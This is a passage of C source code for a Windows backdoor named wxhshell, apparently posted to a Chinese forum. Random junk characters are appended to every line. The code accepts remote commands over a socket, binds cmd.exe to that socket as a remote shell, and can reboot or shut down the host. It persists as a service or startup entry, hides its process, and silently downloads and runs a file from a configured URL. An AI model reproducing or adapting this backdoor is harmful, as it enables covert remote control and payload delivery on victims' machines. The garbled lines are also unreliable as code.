  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A.vWGBR  
  } >Vc;s !R  
  else { I!>pHF4  
m<qPj"g~L  
    switch(cmd[0]) { {_T?0L  
  mX66}s}#  
  // 帮助 6..G/,TB  
  case '?': { :ZX#w`Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gg $/  
    break; TR}ztf[e  
  } mucKmb/  
  // 安装 [hC-} 9  
  case 'i': { "I+71Ce  
    if(Install()) }TE4)vXs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7vO3+lT/Y;  
    else S bI7<_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E>>@X^ =  
    break; 9jW/"  
    } M9so3L<N0  
  // 卸载 $fZVh%  
  case 'r': { w6FtDl$  
    if(Uninstall()) 3H"bivK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v d A 3  
    else U?BuV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x h|NmZg  
    break; _voU^-  
    } 21ng94mC  
  // 显示 wxhshell 所在路径 0 ~K4vSa  
  case 'p': { |uL"/cMW7  
    char svExeFile[MAX_PATH]; :+Ti^FF`w  
    strcpy(svExeFile,"\n\r"); L-SWs8  
      strcat(svExeFile,ExeFile);  {}x{OP  
        send(wsh,svExeFile,strlen(svExeFile),0); ~Y;_vU  
    break; "A?&`}%  
    } $}_a`~u  
  // 重启 vk;]9o j*  
  case 'b': { qcpAjjK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a2Q_K2t  
    if(Boot(REBOOT)) JR>v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c*R?eLt/  
    else { (b!`klQ  
    closesocket(wsh); <;)qyP  
    ExitThread(0); Rf*cW&}%  
    } o}QtKf)W  
    break; U4PnQ K,  
    } wX?< o  
  // 关机 &\Kp_AR  
  case 'd': { 3jx5Lou)&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z'/sZ3Q}  
    if(Boot(SHUTDOWN)) RC{|:@]8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6IRzm6d  
    else { .zDm{_'  
    closesocket(wsh); |Iq#Q3w  
    ExitThread(0);  3"B$M  
    } oW7\T !f  
    break; &4]~s:F  
    } #i6ZY^+ee  
  // 获取shell Iq/V[v  
  case 's': { M{)7C,'  
    CmdShell(wsh); AE?G+:B  
    closesocket(wsh); 2$S^3$k'  
    ExitThread(0); bSbUf%LKt  
    break; a[).'$S}'  
  } ^R;Qa#=2  
  // 退出 m~$S]Wf  
  case 'x': { &v}c3wL]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #0*OkZMt  
    CloseIt(wsh); Dq$co1eT  
    break; R>|)-"b( `  
    } y*6-?@  
  // 离开 s}m.r5  
  case 'q': { 1 UyQ``v/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0J \hku\  
    closesocket(wsh); (}^Qo^Vr  
    WSACleanup(); @-d0 ~.S  
    exit(1); )$Tcip`  
    break; XHX$Ur9  
        } y&F0IJ|`@M  
  } (bT3 r_  
  } iRwlK5(&  
F@C^nX9  
  // 提示信息 Aw~N"i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TOUP.,f/!  
} \7l% @  
  } &uX| Ksq  
3d_PY,=1  
  return; k2 axGq  
} dF (m!P/R  
Lc0yLm  
// shell模块句柄 /C: rr_4=  
int CmdShell(SOCKET sock) FXF#v>&  
{ V( /=0H/ F  
STARTUPINFO si; P. V #  
ZeroMemory(&si,sizeof(si)); qjc8$#zXS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qYi<GI*|@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gr&Rkuyfv  
PROCESS_INFORMATION ProcessInfo; <;T$?J9  
char cmdline[]="cmd"; {\87]xJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M?yWFqFt9m  
  return 0; ? FlV<nE"J  
} h_w_OCC&2  
;Xzay|  
// 自身启动模式  oJ<Wh @  
int StartFromService(void) fD>0  
{ _mi(:s(  
typedef struct fxR}a,a  
{ $ 2/T]  
  DWORD ExitStatus; ,vN0Jpf}\8  
  DWORD PebBaseAddress; \q |n0>  
  DWORD AffinityMask; @qGg=)T  
  DWORD BasePriority; A&dNCB  
  ULONG UniqueProcessId; {1jywb }  
  ULONG InheritedFromUniqueProcessId; #c2InwZV  
}   PROCESS_BASIC_INFORMATION; s3., N|  
"q'9-lk  
PROCNTQSIP NtQueryInformationProcess;  `LWZ!Q  
|ULwUi-r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^mNPP:%iN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1!;}#m7v  
#"Wh$x%  
  HANDLE             hProcess; GNv5yWQ@  
  PROCESS_BASIC_INFORMATION pbi; pPezy:  
l}Fa-9_'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m4@f&6x  
  if(NULL == hInst ) return 0; p| #gn<z}  
O8J:Tw}M*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +.p$Yi`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6BPZ2EQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |B0.*te6  
e>oE{_e  
  if (!NtQueryInformationProcess) return 0;  fK$N|r  
&dC #nw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @3 UVl^T  
  if(!hProcess) return 0; =XT'D@q~W  
o`@B*, @  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JW5SBt>  
w|1Gb[  
  CloseHandle(hProcess); .QhH!#Y2D  
hVfiF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v{H3DgyG  
if(hProcess==NULL) return 0; e$wbYByW  
.)wj{(>TJ  
HMODULE hMod; /)ubyl]^p  
char procName[255]; $B iG7,[#  
unsigned long cbNeeded; jgr2qSU C  
>VAZ^kgi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x_&m$Fh  
-}ebn*7i\  
  CloseHandle(hProcess); I)-u)P?2x  
LqHeLN  
if(strstr(procName,"services")) return 1; // 以服务启动 c0H8FF3  
~'4:{xH  
  return 0; // 注册表启动 >:ZlYZ6sI  
} Wv   
[|sKu#yW  
// 主模块 b=#3p  
int StartWxhshell(LPSTR lpCmdLine) \E'Nk$V3  
{ D4"](RXH  
  SOCKET wsl; h=3156M  
BOOL val=TRUE; `R}D@  
  int port=0; {,5=U@J  
  struct sockaddr_in door; }}GBCXAf_  
'z#{'`$a  
  if(wscfg.ws_autoins) Install(); .2xp.i{  
!n`ogzOh  
port=atoi(lpCmdLine); jH*+\:UP-  
%;.|?gR  
if(port<=0) port=wscfg.ws_port; %5_eos&<^)  
X-Sso9/q.  
  WSADATA data; EO|r   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ))n7.pB9/  
o(W|BD!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mne^P SI:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?-FSDNQ  
  door.sin_family = AF_INET; u+]v. Mt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |wf:|%  
  door.sin_port = htons(port); zS:89y<  
lPS A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t9&z|?Vz  
closesocket(wsl); 'DQp  
return 1; J! 4l-.-  
} '_n{+eR74  
{-rK:*yP'u  
  if(listen(wsl,2) == INVALID_SOCKET) { -=E/_c;  
closesocket(wsl); yG0Wr=/<?  
return 1; mI=^7 'Mk  
} b'$j* N  
  Wxhshell(wsl); yaf&SR@7k{  
  WSACleanup(); @1 #$  
vf@d (g  
return 0; sz.(_{5!  
AJrwl^ lm  
} ~6'6v 8  
P,"z  
// 以NT服务方式启动 {Izg1 N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xG_ ;F  
{ 5eC5oX>  
DWORD   status = 0; +q]  
  DWORD   specificError = 0xfffffff; a9GOY+;bf  
b`n+[UCPtn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D PnKr/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {uO8VL5+Qx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x8T5aS  
  serviceStatus.dwWin32ExitCode     = 0;  ]{OEU]I@  
  serviceStatus.dwServiceSpecificExitCode = 0; XN"V{;OP1  
  serviceStatus.dwCheckPoint       = 0; Z'GO p?  
  serviceStatus.dwWaitHint       = 0; /UjRuUC]  
*seKph+'c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KQ/v](7 7  
  if (hServiceStatusHandle==0) return; *DX6m  
vi6EI wZG  
status = GetLastError(); }>xgzhdT  
  if (status!=NO_ERROR) ~(B\X?v  
{ )_T[thf]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sv-}w$  
    serviceStatus.dwCheckPoint       = 0; w\Q3h`.  
    serviceStatus.dwWaitHint       = 0; a#1LGH7E8  
    serviceStatus.dwWin32ExitCode     = status; qH6DZ|  
    serviceStatus.dwServiceSpecificExitCode = specificError; QEM")(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9AJ!7J#v"  
    return; pFSVSSQRV|  
  } <Ebkb3_  
hQBeM7$F_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /U1GxX:P,  
  serviceStatus.dwCheckPoint       = 0;  Be2@9  
  serviceStatus.dwWaitHint       = 0; `sN3iD!@R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bh*~I_Ta>  
} 0+8ThZ?n  
dv%gmUUf}k  
// 处理NT服务事件,比如:启动、停止 ~GfcI:Zz&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <uL?7P  
{ 'oTcx Jx  
switch(fdwControl) W.\HfJ74  
{ i#1T68y}  
case SERVICE_CONTROL_STOP: P58U8MEG  
  serviceStatus.dwWin32ExitCode = 0; rK~362|mo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K 3&MR=#^  
  serviceStatus.dwCheckPoint   = 0;  b6S86>  
  serviceStatus.dwWaitHint     = 0; %kJ:{J+w]  
  { yQhrPw> m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a-Cp"pKlVY  
  } PZpwi?N  
  return; ~>D;2 S(a  
case SERVICE_CONTROL_PAUSE: d"XS;;l%<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5]; 8  
  break; ;k7` `  
case SERVICE_CONTROL_CONTINUE: ]Vl5v5_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ats"iV  
  break; {<~XwJ.  
case SERVICE_CONTROL_INTERROGATE: z.Y7u3K.8  
  break; q) /;|h  
}; *8/Q_w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2{p`"xX  
} p/lMv\`5  
GQ|kcY=  
// 标准应用程序主函数 -5v c0"?E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z}C#+VhQ`  
{ P>pkLP} Vo  
R_vZh|  
// 获取操作系统版本 ) 0AE*S  
OsIsNt=GetOsVer(); 'QT(TF>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =JO|m5z8>  
4g\a$7 r  
  // 从命令行安装 ]vQo^nOo  
  if(strpbrk(lpCmdLine,"iI")) Install(); PBn(k>=+  
(fh:q2E#  
  // 下载执行文件 NFLmM  
if(wscfg.ws_downexe) { 8)"KPr63M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YhLtf(r  
  WinExec(wscfg.ws_filenam,SW_HIDE); EemKYcE@Nr  
} D{'Na5(  
f,M$>!$V  
if(!OsIsNt) { _5U Fml9  
// 如果时win9x,隐藏进程并且设置为注册表启动 bvG").8$  
HideProc(); &v4w3'@1  
StartWxhshell(lpCmdLine); gyCb\y+\a  
} $o]zNW;X  
else ;S`Nq%,  
  if(StartFromService()) CM5A-R90  
  // 以服务方式启动 IH~H6US  
  StartServiceCtrlDispatcher(DispatchTable); 2z0HB+Y}x  
else (m04Z2#  
  // 普通方式启动 &p ;};n  
  StartWxhshell(lpCmdLine); jcq(=7j  
:jp?FF^j;  
return 0; ?783LBe  
}
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只看该作者 1 发表于: 2006-10-10
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